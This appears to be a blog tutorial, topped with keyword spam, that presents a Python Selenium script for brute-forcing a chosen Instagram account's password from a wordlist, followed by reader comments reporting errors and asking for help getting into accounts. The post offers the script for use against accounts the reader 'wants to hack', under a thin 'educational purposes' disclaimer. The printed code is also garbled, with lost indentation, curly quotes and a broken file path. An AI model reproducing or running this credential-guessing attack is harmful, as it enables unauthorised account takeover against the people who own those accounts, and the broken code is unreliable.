Explaining step by step for Instagram Password hacking using Python

Note: This post is only for educational purposes.

The rules and regulations related to Plagiarism shall apply to the students, faculty, researchers, and staff of all higher educational institutions in the country.




 

instagram id and password list  instagram password cracker  how do hackers hack instagram  instagram account hacked  instahaxor  instagram password revealer  instagram hack apk mod download  instaripper

 

I have also searched the whole web for ‘how to hack an Instagram account’ but hardly I found any article or video useful. However, I got some ideas that helped me to create a script to hack Instagram accounts. Moreover, you can use this Python script for hacking passwords for any website.

In this post, we are using web automation. Using automation, we can log in to any website automatically using a username and password in the Python script.

Here in the following script, the username needs to be written in the code and the password is taken from a .txt file. The .txt file contains mostly used passwords on the web. One can also expand this .txt file.

How to implement the code:
  1. Open an IDE (Code Editor): There are many IDEs for Python Code like Idle, Pycharm, Visual Studio Code and many others.
  2. Paste the following given code.
  3. Run the code.
As you run the code, it will redirected to the instagram login page. The username field of login page is taken from the python and the password will be taken from the .txt file one by one. It will keep running till check the last password from the .txt file or successfull login to the instagram account.

Copy the following Python code and run it on your computer

Note: # symbol is used for creating the comments in python programming langugage.
 

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from time import sleep

#webdriver = webdriver.Firefox()
#webdriver.get(‘https://www.instagram.com/accounts/login/’)

PATH=”C:Program Fileschromedriver.exe”
webdriver=webdriver.Chrome(PATH)
webdriver.get(‘https://www.instagram.com/accounts/login/’)

sleep(3)
username = webdriver.find_element_by_name(‘username’)

username.send_keys(‘username’) # write the username of account you want to hack.

password = webdriver.find_element_by_name(‘password’)
passfile=open(‘mat.txt’,’r’)
def display(a):
print(“log in password “+a)
for i in passfile:
try:
password.send_keys(i)
submit = webdriver.find_element_by_tag_name(‘form’)
submit.submit()
c=webdriver.current_url
sleep(5)
b=webdriver.find_element_by_xpath(“//button[contains(text(), ‘Not Now’)]”)
b.click()
sleep(5)
c=webdriver.current_url
except NoSuchElementException:
password.send_keys(Keys.CONTROL,”a”,Keys.DELETE)
sleep(5)
url2=webdriver.current_url
if c!=url2:
display(i)
break

Thanks for visiting us. We hope that the Instagram account hacking tutorial will help you.

45 thoughts on “Explaining step by step for Instagram Password hacking using Python”

  1. damn mine mine is saying this

    Traceback (most recent call last):
    File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\common\service.py”, line 72, in start
    self.process = subprocess.Popen(cmd, env=self.env,
    File “C:\Users\Onwuka Rosario\AppData\Local\Programs\Python\Python39\lib\subprocess.py”, line 951, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
    File “C:\Users\Onwuka Rosario\AppData\Local\Programs\Python\Python39\lib\subprocess.py”, line 1420, in _execute_child
    hp, ht, pid, tid = _winapi.CreateProcess(executable, args,
    PermissionError: [WinError 5] Access is denied

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
    File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\☠💀.py”, line 10, in
    webdriver = webdriver.Chrome(PATH)
    File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\chrome\webdriver.py”, line 73, in __init__
    self.service.start()
    File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\common\service.py”, line 86, in start
    raise WebDriverException(
    selenium.common.exceptions.WebDriverException: Message: ‘Program Files’ executable may have wrong permissions.

    please help me

    Reply
  2. anyone know why im getting this?
    Traceback (most recent call last):
    File “C:/Users/livmi/Desktop/passh.py”, line 1, in
    from selenium import webdriver
    ModuleNotFoundError: No module named ‘selenium’

    Reply
  3. Can you made a code for a account which is disabled? I don’t have access to email linked to the account and there is no other way to do get the 6-digit verification code. Please! I need a code. As the pictures I have posted don’t show my face and the selfie-video option was useless for me. Please help! Thank you very much.

    Reply
  4. i always get syntax error
    and did anyone crack insta password with this pls help me to do the same
    i forgot my password and my eamil is also not responding

    Reply
  5. webdriver.get(‘https://www.instagram.com/Username/’)
    ^
    SyntaxError: invalid character ‘‘’ (U+2018)

    getting error like this

    Reply

Leave a Comment